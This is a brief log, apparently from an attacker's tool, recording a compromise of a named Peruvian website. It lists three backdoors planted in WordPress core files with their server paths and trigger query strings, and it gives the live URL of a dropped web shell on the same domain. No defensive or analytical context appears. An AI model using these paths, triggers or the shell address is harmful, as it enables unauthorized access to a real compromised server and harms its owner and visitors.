Backdoor: /var/www/infordata/html/wp-includes/functions.wp-styles.php -> gzuncompress_jf=1&spl_autoload_unregister_hk=print_r&gzgets_ke[0]=test_msg
Backdoor: /var/www/infordata/html/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php -> date_time_set_jl=1&openssl_spki_new_dz=print_r&inflate_init_sp[0]=test_msg
Backdoor: /var/www/infordata/html/wp-includes/class-wp-customize-widgets.php -> deflate_init_ur=1&gzfile_fa=print_r&timezone_version_get_rr[0]=test_msg
54Y9QGh73zShell where: https://www.infordata.com.pe/graficos/mailing//665a7d2b/